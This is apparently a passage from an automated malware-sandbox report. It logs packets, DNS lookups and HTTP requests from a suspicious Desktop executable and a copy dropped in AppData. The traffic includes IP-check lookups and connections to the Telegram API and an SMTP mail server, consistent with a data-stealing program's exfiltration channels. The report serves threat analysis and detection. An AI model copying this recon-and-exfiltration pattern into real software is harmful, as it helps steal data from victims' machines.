                                                                                                                                                            Dec 16, 2024 14:23:35.108885050 CET44349820149.154.167.220192.168.2.6
                                                                                                                                                            Dec 16, 2024 14:23:35.108969927 CET49820443192.168.2.6149.154.167.220
                                                                                                                                                            Dec 16, 2024 14:23:35.109538078 CET49820443192.168.2.6149.154.167.220
                                                                                                                                                            Dec 16, 2024 14:23:35.109560013 CET44349820149.154.167.220192.168.2.6
                                                                                                                                                            Dec 16, 2024 14:23:35.188834906 CET44349814104.21.67.152192.168.2.6
                                                                                                                                                            Dec 16, 2024 14:23:35.188903093 CET44349814104.21.67.152192.168.2.6
                                                                                                                                                            Dec 16, 2024 14:23:35.189027071 CET49814443192.168.2.6104.21.67.152
                                                                                                                                                            Dec 16, 2024 14:23:35.189635038 CET49814443192.168.2.6104.21.67.152
                                                                                                                                                            Dec 16, 2024 14:23:35.193028927 CET4981180192.168.2.6158.101.44.242
                                                                                                                                                            Dec 16, 2024 14:23:35.194439888 CET4982180192.168.2.6158.101.44.242
                                                                                                                                                            Dec 16, 2024 14:23:35.313384056 CET8049811158.101.44.242192.168.2.6
                                                                                                                                                            Dec 16, 2024 14:23:35.313483953 CET4981180192.168.2.6158.101.44.242
                                                                                                                                                            Dec 16, 2024 14:23:35.314198017 CET8049821158.101.44.242192.168.2.6
                                                                                                                                                            Dec 16, 2024 14:23:35.314311028 CET4982180192.168.2.6158.101.44.242
                                                                                                                                                            Dec 16, 2024 14:23:35.314642906 CET4982180192.168.2.6158.101.44.242
                                                                                                                                                            Dec 16, 2024 14:23:35.434433937 CET8049821158.101.44.242192.168.2.6
                                                                                                                                                            Dec 16, 2024 14:23:36.476799965 CET44349820149.154.167.220192.168.2.6
                                                                                                                                                            Dec 16, 2024 14:23:36.476874113 CET49820443192.168.2.6149.154.167.220
                                                                                                                                                            Dec 16, 2024 14:23:36.479125977 CET49820443192.168.2.6149.154.167.220
                                                                                                                                                            Dec 16, 2024 14:23:36.479137897 CET44349820149.154.167.220192.168.2.6
                                                                                                                                                            Dec 16, 2024 14:23:36.479408979 CET44349820149.154.167.220192.168.2.6
                                                                                                                                                            Dec 16, 2024 14:23:36.481148005 CET49820443192.168.2.6149.154.167.220
                                                                                                                                                            Dec 16, 2024 14:23:36.527326107 CET44349820149.154.167.220192.168.2.6
                                                                                                                                                            Dec 16, 2024 14:23:36.532517910 CET8049821158.101.44.242192.168.2.6
                                                                                                                                                            Dec 16, 2024 14:23:36.534167051 CET49826443192.168.2.6104.21.67.152
                                                                                                                                                            Dec 16, 2024 14:23:36.534200907 CET44349826104.21.67.152192.168.2.6
                                                                                                                                                            Dec 16, 2024 14:23:36.534260988 CET49826443192.168.2.6104.21.67.152
                                                                                                                                                            Dec 16, 2024 14:23:36.534569979 CET49826443192.168.2.6104.21.67.152
                                                                                                                                                            Dec 16, 2024 14:23:36.534584045 CET44349826104.21.67.152192.168.2.6
                                                                                                                                                            Dec 16, 2024 14:23:36.572957039 CET4982180192.168.2.6158.101.44.242
                                                                                                                                                            Dec 16, 2024 14:23:37.003057957 CET44349820149.154.167.220192.168.2.6
                                                                                                                                                            Dec 16, 2024 14:23:37.003158092 CET44349820149.154.167.220192.168.2.6
                                                                                                                                                            Dec 16, 2024 14:23:37.003225088 CET49820443192.168.2.6149.154.167.220
                                                                                                                                                            Dec 16, 2024 14:23:37.018594027 CET49820443192.168.2.6149.154.167.220
                                                                                                                                                            Dec 16, 2024 14:23:37.776688099 CET44349826104.21.67.152192.168.2.6
                                                                                                                                                            Dec 16, 2024 14:23:37.778762102 CET49826443192.168.2.6104.21.67.152
                                                                                                                                                            Dec 16, 2024 14:23:37.778798103 CET44349826104.21.67.152192.168.2.6
                                                                                                                                                            Dec 16, 2024 14:23:38.236448050 CET44349826104.21.67.152192.168.2.6
                                                                                                                                                            Dec 16, 2024 14:23:38.236520052 CET44349826104.21.67.152192.168.2.6
                                                                                                                                                            Dec 16, 2024 14:23:38.236603022 CET49826443192.168.2.6104.21.67.152
                                                                                                                                                            Dec 16, 2024 14:23:38.237201929 CET49826443192.168.2.6104.21.67.152
                                                                                                                                                            Dec 16, 2024 14:23:38.251390934 CET4982180192.168.2.6158.101.44.242
                                                                                                                                                            Dec 16, 2024 14:23:38.252461910 CET49829443192.168.2.6149.154.167.220
                                                                                                                                                            Dec 16, 2024 14:23:38.252516985 CET44349829149.154.167.220192.168.2.6
                                                                                                                                                            Dec 16, 2024 14:23:38.252656937 CET49829443192.168.2.6149.154.167.220
                                                                                                                                                            Dec 16, 2024 14:23:38.253180027 CET49829443192.168.2.6149.154.167.220
                                                                                                                                                            Dec 16, 2024 14:23:38.253192902 CET44349829149.154.167.220192.168.2.6
                                                                                                                                                            Dec 16, 2024 14:23:38.371690035 CET8049821158.101.44.242192.168.2.6
                                                                                                                                                            Dec 16, 2024 14:23:38.371783018 CET4982180192.168.2.6158.101.44.242
                                                                                                                                                            Dec 16, 2024 14:23:39.615739107 CET44349829149.154.167.220192.168.2.6
                                                                                                                                                            Dec 16, 2024 14:23:39.615832090 CET49829443192.168.2.6149.154.167.220
                                                                                                                                                            Dec 16, 2024 14:23:39.617355108 CET49829443192.168.2.6149.154.167.220
                                                                                                                                                            Dec 16, 2024 14:23:39.617377043 CET44349829149.154.167.220192.168.2.6
                                                                                                                                                            Dec 16, 2024 14:23:39.617657900 CET44349829149.154.167.220192.168.2.6
                                                                                                                                                            Dec 16, 2024 14:23:39.619401932 CET49829443192.168.2.6149.154.167.220
                                                                                                                                                            Dec 16, 2024 14:23:39.663347960 CET44349829149.154.167.220192.168.2.6
                                                                                                                                                            Dec 16, 2024 14:23:40.125648022 CET44349829149.154.167.220192.168.2.6
                                                                                                                                                            Dec 16, 2024 14:23:40.125840902 CET44349829149.154.167.220192.168.2.6
                                                                                                                                                            Dec 16, 2024 14:23:40.125900030 CET49829443192.168.2.6149.154.167.220
                                                                                                                                                            Dec 16, 2024 14:23:40.138487101 CET49829443192.168.2.6149.154.167.220
                                                                                                                                                            Dec 16, 2024 14:23:42.581823111 CET4974280192.168.2.6158.101.44.242
                                                                                                                                                            Dec 16, 2024 14:23:43.919233084 CET49847587192.168.2.6118.69.190.131
                                                                                                                                                            Dec 16, 2024 14:23:44.041310072 CET58749847118.69.190.131192.168.2.6
                                                                                                                                                            Dec 16, 2024 14:23:44.041423082 CET49847587192.168.2.6118.69.190.131
                                                                                                                                                            Dec 16, 2024 14:23:45.501105070 CET49852587192.168.2.6118.69.190.131
                                                                                                                                                            Dec 16, 2024 14:23:45.622016907 CET58749852118.69.190.131192.168.2.6
                                                                                                                                                            Dec 16, 2024 14:23:45.622164011 CET49852587192.168.2.6118.69.190.131
                                                                                                                                                            Dec 16, 2024 14:23:45.929615021 CET58749847118.69.190.131192.168.2.6
                                                                                                                                                            Dec 16, 2024 14:23:45.929905891 CET49847587192.168.2.6118.69.190.131
                                                                                                                                                            Dec 16, 2024 14:23:46.049753904 CET58749847118.69.190.131192.168.2.6
                                                                                                                                                            Dec 16, 2024 14:23:46.499538898 CET58749847118.69.190.131192.168.2.6
                                                                                                                                                            Dec 16, 2024 14:23:46.500762939 CET49847587192.168.2.6118.69.190.131
                                                                                                                                                            Dec 16, 2024 14:23:46.620713949 CET58749847118.69.190.131192.168.2.6
                                                                                                                                                            Dec 16, 2024 14:23:47.068531990 CET58749847118.69.190.131192.168.2.6
                                                                                                                                                            Dec 16, 2024 14:23:47.068883896 CET49847587192.168.2.6118.69.190.131
                                                                                                                                                            Dec 16, 2024 14:23:47.188698053 CET58749847118.69.190.131192.168.2.6
                                                                                                                                                            Dec 16, 2024 14:23:47.650415897 CET58749847118.69.190.131192.168.2.6
                                                                                                                                                            Dec 16, 2024 14:23:47.650902987 CET49847587192.168.2.6118.69.190.131
                                                                                                                                                            Dec 16, 2024 14:23:47.682161093 CET58749852118.69.190.131192.168.2.6
                                                                                                                                                            Dec 16, 2024 14:23:47.696186066 CET49852587192.168.2.6118.69.190.131
                                                                                                                                                            Dec 16, 2024 14:23:47.771100998 CET58749847118.69.190.131192.168.2.6
                                                                                                                                                            Dec 16, 2024 14:23:47.816315889 CET58749852118.69.190.131192.168.2.6
                                                                                                                                                            Dec 16, 2024 14:23:48.230437040 CET58749847118.69.190.131192.168.2.6
                                                                                                                                                            Dec 16, 2024 14:23:48.230714083 CET49847587192.168.2.6118.69.190.131
                                                                                                                                                            Dec 16, 2024 14:23:48.265968084 CET58749852118.69.190.131192.168.2.6
                                                                                                                                                            Dec 16, 2024 14:23:48.283368111 CET49852587192.168.2.6118.69.190.131
                                                                                                                                                            Dec 16, 2024 14:23:48.350404978 CET58749847118.69.190.131192.168.2.6
                                                                                                                                                            Dec 16, 2024 14:23:48.403211117 CET58749852118.69.190.131192.168.2.6
                                                                                                                                                            Dec 16, 2024 14:23:48.802925110 CET58749847118.69.190.131192.168.2.6
                                                                                                                                                            Dec 16, 2024 14:23:48.802944899 CET58749847118.69.190.131192.168.2.6
                                                                                                                                                            Dec 16, 2024 14:23:48.803030968 CET49847587192.168.2.6118.69.190.131
                                                                                                                                                            Dec 16, 2024 14:23:48.806936979 CET49847587192.168.2.6118.69.190.131
                                                                                                                                                            Dec 16, 2024 14:23:48.813324928 CET49860443192.168.2.6149.154.167.220
                                                                                                                                                            Dec 16, 2024 14:23:48.813390970 CET44349860149.154.167.220192.168.2.6
                                                                                                                                                            Dec 16, 2024 14:23:48.813461065 CET49860443192.168.2.6149.154.167.220
                                                                                                                                                            Dec 16, 2024 14:23:48.813827038 CET49860443192.168.2.6149.154.167.220
                                                                                                                                                            Dec 16, 2024 14:23:48.813843966 CET44349860149.154.167.220192.168.2.6
                                                                                                                                                            Dec 16, 2024 14:23:48.853477955 CET58749852118.69.190.131192.168.2.6
                                                                                                                                                            Dec 16, 2024 14:23:48.854041100 CET49852587192.168.2.6118.69.190.131
                                                                                                                                                            Dec 16, 2024 14:23:48.930073977 CET58749847118.69.190.131192.168.2.6
                                                                                                                                                            Dec 16, 2024 14:23:48.973820925 CET58749852118.69.190.131192.168.2.6
                                                                                                                                                            Dec 16, 2024 14:23:49.436247110 CET58749852118.69.190.131192.168.2.6
                                                                                                                                                            Dec 16, 2024 14:23:49.436610937 CET49852587192.168.2.6118.69.190.131
                                                                                                                                                            Dec 16, 2024 14:23:49.556346893 CET58749852118.69.190.131192.168.2.6
                                                                                                                                                            Dec 16, 2024 14:23:50.005225897 CET58749852118.69.190.131192.168.2.6
                                                                                                                                                            Dec 16, 2024 14:23:50.005471945 CET49852587192.168.2.6118.69.190.131
                                                                                                                                                            Dec 16, 2024 14:23:50.125571012 CET58749852118.69.190.131192.168.2.6
                                                                                                                                                            Dec 16, 2024 14:23:50.186258078 CET44349860149.154.167.220192.168.2.6
                                                                                                                                                            Dec 16, 2024 14:23:50.188256025 CET49860443192.168.2.6149.154.167.220
                                                                                                                                                            Dec 16, 2024 14:23:50.188282013 CET44349860149.154.167.220192.168.2.6
                                                                                                                                                            Dec 16, 2024 14:23:50.188407898 CET49860443192.168.2.6149.154.167.220
                                                                                                                                                            Dec 16, 2024 14:23:50.188416958 CET44349860149.154.167.220192.168.2.6
                                                                                                                                                            Dec 16, 2024 14:23:50.573951960 CET58749852118.69.190.131192.168.2.6
                                                                                                                                                            Dec 16, 2024 14:23:50.574450016 CET58749852118.69.190.131192.168.2.6
                                                                                                                                                            Dec 16, 2024 14:23:50.574799061 CET49852587192.168.2.6118.69.190.131
                                                                                                                                                            Dec 16, 2024 14:23:50.575661898 CET49852587192.168.2.6118.69.190.131
                                                                                                                                                            Dec 16, 2024 14:23:50.579524040 CET49865443192.168.2.6149.154.167.220
                                                                                                                                                            Dec 16, 2024 14:23:50.579591036 CET44349865149.154.167.220192.168.2.6
                                                                                                                                                            Dec 16, 2024 14:23:50.579782009 CET49865443192.168.2.6149.154.167.220
                                                                                                                                                            Dec 16, 2024 14:23:50.580249071 CET49865443192.168.2.6149.154.167.220
                                                                                                                                                            Dec 16, 2024 14:23:50.580270052 CET44349865149.154.167.220192.168.2.6
                                                                                                                                                            Dec 16, 2024 14:23:50.695476055 CET58749852118.69.190.131192.168.2.6
                                                                                                                                                            Dec 16, 2024 14:23:51.084024906 CET44349860149.154.167.220192.168.2.6
                                                                                                                                                            Dec 16, 2024 14:23:51.084110022 CET44349860149.154.167.220192.168.2.6
                                                                                                                                                            Dec 16, 2024 14:23:51.084280968 CET49860443192.168.2.6149.154.167.220
                                                                                                                                                            Dec 16, 2024 14:23:51.133285046 CET49860443192.168.2.6149.154.167.220
                                                                                                                                                            Dec 16, 2024 14:23:51.950277090 CET44349865149.154.167.220192.168.2.6
                                                                                                                                                            Dec 16, 2024 14:23:51.952326059 CET49865443192.168.2.6149.154.167.220
                                                                                                                                                            Dec 16, 2024 14:23:51.952359915 CET44349865149.154.167.220192.168.2.6
                                                                                                                                                            Dec 16, 2024 14:23:51.952604055 CET49865443192.168.2.6149.154.167.220
                                                                                                                                                            Dec 16, 2024 14:23:51.952611923 CET44349865149.154.167.220192.168.2.6
                                                                                                                                                            Dec 16, 2024 14:23:52.582245111 CET44349865149.154.167.220192.168.2.6
                                                                                                                                                            Dec 16, 2024 14:23:52.582334042 CET44349865149.154.167.220192.168.2.6
                                                                                                                                                            Dec 16, 2024 14:23:52.582406998 CET49865443192.168.2.6149.154.167.220
                                                                                                                                                            Dec 16, 2024 14:23:52.583391905 CET49865443192.168.2.6149.154.167.220

                                                                                                                                                            UDP Packets

                                                                                                                                                            TimestampSource PortDest PortSource IPDest IP
                                                                                                                                                            Dec 16, 2024 14:23:08.008126020 CET5372053192.168.2.61.1.1.1
                                                                                                                                                            Dec 16, 2024 14:23:08.147640944 CET53537201.1.1.1192.168.2.6
                                                                                                                                                            Dec 16, 2024 14:23:09.943039894 CET5668053192.168.2.61.1.1.1
                                                                                                                                                            Dec 16, 2024 14:23:10.087244034 CET53566801.1.1.1192.168.2.6
                                                                                                                                                            Dec 16, 2024 14:23:34.969702959 CET5117653192.168.2.61.1.1.1
                                                                                                                                                            Dec 16, 2024 14:23:35.107848883 CET53511761.1.1.1192.168.2.6
                                                                                                                                                            Dec 16, 2024 14:23:42.755868912 CET5175253192.168.2.61.1.1.1
                                                                                                                                                            Dec 16, 2024 14:23:43.760986090 CET5175253192.168.2.61.1.1.1
                                                                                                                                                            Dec 16, 2024 14:23:43.918365002 CET53517521.1.1.1192.168.2.6
                                                                                                                                                            Dec 16, 2024 14:23:43.918384075 CET53517521.1.1.1192.168.2.6

                                                                                                                                                            DNS Queries

                                                                                                                                                            TimestampSource IPDest IPTrans IDOP CodeNameTypeClassDNS over HTTPS
                                                                                                                                                            Dec 16, 2024 14:23:08.008126020 CET192.168.2.61.1.1.10x5c57Standard query (0)checkip.dyndns.orgA (IP address)IN (0x0001)false
                                                                                                                                                            Dec 16, 2024 14:23:09.943039894 CET192.168.2.61.1.1.10xb342Standard query (0)reallyfreegeoip.orgA (IP address)IN (0x0001)false
                                                                                                                                                            Dec 16, 2024 14:23:34.969702959 CET192.168.2.61.1.1.10x3044Standard query (0)api.telegram.orgA (IP address)IN (0x0001)false
                                                                                                                                                            Dec 16, 2024 14:23:42.755868912 CET192.168.2.61.1.1.10xd0dfStandard query (0)mail.vvtrade.vnA (IP address)IN (0x0001)false
                                                                                                                                                            Dec 16, 2024 14:23:43.760986090 CET192.168.2.61.1.1.10xd0dfStandard query (0)mail.vvtrade.vnA (IP address)IN (0x0001)false

                                                                                                                                                            DNS Answers

                                                                                                                                                            TimestampSource IPDest IPTrans IDReply CodeNameCNameAddressTypeClassDNS over HTTPS
                                                                                                                                                            Dec 16, 2024 14:23:08.147640944 CET1.1.1.1192.168.2.60x5c57No error (0)checkip.dyndns.orgcheckip.dyndns.comCNAME (Canonical name)IN (0x0001)false
                                                                                                                                                            Dec 16, 2024 14:23:08.147640944 CET1.1.1.1192.168.2.60x5c57No error (0)checkip.dyndns.com158.101.44.242A (IP address)IN (0x0001)false
                                                                                                                                                            Dec 16, 2024 14:23:08.147640944 CET1.1.1.1192.168.2.60x5c57No error (0)checkip.dyndns.com132.226.8.169A (IP address)IN (0x0001)false
                                                                                                                                                            Dec 16, 2024 14:23:08.147640944 CET1.1.1.1192.168.2.60x5c57No error (0)checkip.dyndns.com193.122.130.0A (IP address)IN (0x0001)false
                                                                                                                                                            Dec 16, 2024 14:23:08.147640944 CET1.1.1.1192.168.2.60x5c57No error (0)checkip.dyndns.com193.122.6.168A (IP address)IN (0x0001)false
                                                                                                                                                            Dec 16, 2024 14:23:08.147640944 CET1.1.1.1192.168.2.60x5c57No error (0)checkip.dyndns.com132.226.247.73A (IP address)IN (0x0001)false
                                                                                                                                                            Dec 16, 2024 14:23:10.087244034 CET1.1.1.1192.168.2.60xb342No error (0)reallyfreegeoip.org104.21.67.152A (IP address)IN (0x0001)false
                                                                                                                                                            Dec 16, 2024 14:23:10.087244034 CET1.1.1.1192.168.2.60xb342No error (0)reallyfreegeoip.org172.67.177.134A (IP address)IN (0x0001)false
                                                                                                                                                            Dec 16, 2024 14:23:35.107848883 CET1.1.1.1192.168.2.60x3044No error (0)api.telegram.org149.154.167.220A (IP address)IN (0x0001)false
                                                                                                                                                            Dec 16, 2024 14:23:40.757005930 CET1.1.1.1192.168.2.60x28cNo error (0)g-bing-com.ax-0001.ax-msedge.netax-0001.ax-msedge.netCNAME (Canonical name)IN (0x0001)false
                                                                                                                                                            Dec 16, 2024 14:23:40.757005930 CET1.1.1.1192.168.2.60x28cNo error (0)ax-0001.ax-msedge.net150.171.28.10A (IP address)IN (0x0001)false
                                                                                                                                                            Dec 16, 2024 14:23:40.757005930 CET1.1.1.1192.168.2.60x28cNo error (0)ax-0001.ax-msedge.net150.171.27.10A (IP address)IN (0x0001)false
                                                                                                                                                            Dec 16, 2024 14:23:43.918365002 CET1.1.1.1192.168.2.60xd0dfNo error (0)mail.vvtrade.vn118.69.190.131A (IP address)IN (0x0001)false
                                                                                                                                                            Dec 16, 2024 14:23:43.918384075 CET1.1.1.1192.168.2.60xd0dfNo error (0)mail.vvtrade.vn118.69.190.131A (IP address)IN (0x0001)false

                                                                                                                                                            HTTP Request Dependency Graph

                                                                                                                                                            • reallyfreegeoip.org
                                                                                                                                                            • api.telegram.org
                                                                                                                                                            • checkip.dyndns.org

                                                                                                                                                            HTTP Packets

                                                                                                                                                            Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                            0192.168.2.649720158.101.44.242808124C:\Users\user\Desktop\FT876567090.exe
                                                                                                                                                            TimestampBytes transferredDirectionData
                                                                                                                                                            Dec 16, 2024 14:23:08.287204027 CET151OUTGET / HTTP/1.1
                                                                                                                                                            User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)
                                                                                                                                                            Host: checkip.dyndns.org
                                                                                                                                                            Connection: Keep-Alive
                                                                                                                                                            Dec 16, 2024 14:23:09.491333008 CET321INHTTP/1.1 200 OK
                                                                                                                                                            Date: Mon, 16 Dec 2024 13:23:09 GMT
                                                                                                                                                            Content-Type: text/html
                                                                                                                                                            Content-Length: 104
                                                                                                                                                            Connection: keep-alive
                                                                                                                                                            Cache-Control: no-cache
                                                                                                                                                            Pragma: no-cache
                                                                                                                                                            X-Request-ID: 093925165624c1f2a4534f67406f0494
                                                                                                                                                            Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a
                                                                                                                                                            Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>
                                                                                                                                                            Dec 16, 2024 14:23:09.530982971 CET127OUTGET / HTTP/1.1
                                                                                                                                                            User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)
                                                                                                                                                            Host: checkip.dyndns.org
                                                                                                                                                            Dec 16, 2024 14:23:09.905802965 CET321INHTTP/1.1 200 OK
                                                                                                                                                            Date: Mon, 16 Dec 2024 13:23:09 GMT
                                                                                                                                                            Content-Type: text/html
                                                                                                                                                            Content-Length: 104
                                                                                                                                                            Connection: keep-alive
                                                                                                                                                            Cache-Control: no-cache
                                                                                                                                                            Pragma: no-cache
                                                                                                                                                            X-Request-ID: 02fa87b9bf496fe5647d963a4741c616
                                                                                                                                                            Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a
                                                                                                                                                            Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>
                                                                                                                                                            Dec 16, 2024 14:23:11.846127033 CET127OUTGET / HTTP/1.1
                                                                                                                                                            User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)
                                                                                                                                                            Host: checkip.dyndns.org
                                                                                                                                                            Dec 16, 2024 14:23:12.221487999 CET321INHTTP/1.1 200 OK
                                                                                                                                                            Date: Mon, 16 Dec 2024 13:23:12 GMT
                                                                                                                                                            Content-Type: text/html
                                                                                                                                                            Content-Length: 104
                                                                                                                                                            Connection: keep-alive
                                                                                                                                                            Cache-Control: no-cache
                                                                                                                                                            Pragma: no-cache
                                                                                                                                                            X-Request-ID: 10a0851fcd302d2844f9e2aabc6d85e4
                                                                                                                                                            Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a
                                                                                                                                                            Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>


                                                                                                                                                            Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                            1192.168.2.649731158.101.44.242803704C:\Users\user\AppData\Roaming\EYDNKhhJr.exe
                                                                                                                                                            TimestampBytes transferredDirectionData
                                                                                                                                                            Dec 16, 2024 14:23:11.583290100 CET151OUTGET / HTTP/1.1
                                                                                                                                                            User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)
                                                                                                                                                            Host: checkip.dyndns.org
                                                                                                                                                            Connection: Keep-Alive
                                                                                                                                                            Dec 16, 2024 14:23:12.790148973 CET321INHTTP/1.1 200 OK
                                                                                                                                                            Date: Mon, 16 Dec 2024 13:23:12 GMT
                                                                                                                                                            Content-Type: text/html
                                                                                                                                                            Content-Length: 104
                                                                                                                                                            Connection: keep-alive
                                                                                                                                                            Cache-Control: no-cache
                                                                                                                                                            Pragma: no-cache
                                                                                                                                                            X-Request-ID: 2c4b527f0020f3376dbca0ec3992fb73
                                                                                                                                                            Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a
                                                                                                                                                            Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>
                                                                                                                                                            Dec 16, 2024 14:23:12.794301033 CET127OUTGET / HTTP/1.1
                                                                                                                                                            User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)
                                                                                                                                                            Host: checkip.dyndns.org
                                                                                                                                                            Dec 16, 2024 14:23:13.168008089 CET321INHTTP/1.1 200 OK
                                                                                                                                                            Date: Mon, 16 Dec 2024 13:23:12 GMT
                                                                                                                                                            Content-Type: text/html
                                                                                                                                                            Content-Length: 104
                                                                                                                                                            Connection: keep-alive
                                                                                                                                                            Cache-Control: no-cache
                                                                                                                                                            Pragma: no-cache
                                                                                                                                                            X-Request-ID: b486aebf0cd315f56280d1c8151f8125
                                                                                                                                                            Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a
                                                                                                                                                            Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>
                                                                                                                                                            Dec 16, 2024 14:23:14.911082983 CET127OUTGET / HTTP/1.1
                                                                                                                                                            User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)
                                                                                                                                                            Host: checkip.dyndns.org
                                                                                                                                                            Dec 16, 2024 14:23:15.294223070 CET321INHTTP/1.1 200 OK
                                                                                                                                                            Date: Mon, 16 Dec 2024 13:23:15 GMT
                                                                                                                                                            Content-Type: text/html
                                                                                                                                                            Content-Length: 104
                                                                                                                                                            Connection: keep-alive
                                                                                                                                                            Cache-Control: no-cache
                                                                                                                                                            Pragma: no-cache
                                                                                                                                                            X-Request-ID: fae8d63e15b8b493caba4b04fafcb50e
                                                                                                                                                            Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a
                                                                                                                                                            Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>


                                                                                                                                                            Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                            2192.168.2.649742158.101.44.242808124C:\Users\user\Desktop\FT876567090.exe
                                                                                                                                                            TimestampBytes transferredDirectionData
                                                                                                                                                            Dec 16, 2024 14:23:14.013988018 CET127OUTGET / HTTP/1.1
                                                                                                                                                            User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)
                                                                                                                                                            Host: checkip.dyndns.org
                                                                                                                                                            Dec 16, 2024 14:23:15.219450951 CET321INHTTP/1.1 200 OK
                                                                                                                                                            Date: Mon, 16 Dec 2024 13:23:15 GMT
                                                                                                                                                            Content-Type: text/html
                                                                                                                                                            Content-Length: 104
                                                                                                                                                            Connection: keep-alive
                                                                                                                                                            Cache-Control: no-cache
                                                                                                                                                            Pragma: no-cache
                                                                                                                                                            X-Request-ID: 0e382693e7e794d87e6ac5ad3030ceaf
                                                                                                                                                            Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a
                                                                                                                                                            Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>


                                                                                                                                                            Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                            3192.168.2.649755158.101.44.242808124C:\Users\user\Desktop\FT876567090.exe
                                                                                                                                                            TimestampBytes transferredDirectionData
                                                                                                                                                            Dec 16, 2024 14:23:17.009506941 CET151OUTGET / HTTP/1.1
                                                                                                                                                            User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)
                                                                                                                                                            Host: checkip.dyndns.org
                                                                                                                                                            Connection: Keep-Alive
                                                                                                                                                            Dec 16, 2024 14:23:18.224162102 CET321INHTTP/1.1 200 OK
                                                                                                                                                            Date: Mon, 16 Dec 2024 13:23:18 GMT
                                                                                                                                                            Content-Type: text/html
                                                                                                                                                            Content-Length: 104
                                                                                                                                                            Connection: keep-alive
                                                                                                                                                            Cache-Control: no-cache
                                                                                                                                                            Pragma: no-cache
                                                                                                                                                            X-Request-ID: 4393e09b753a59b9d44cdd51a4f5f948
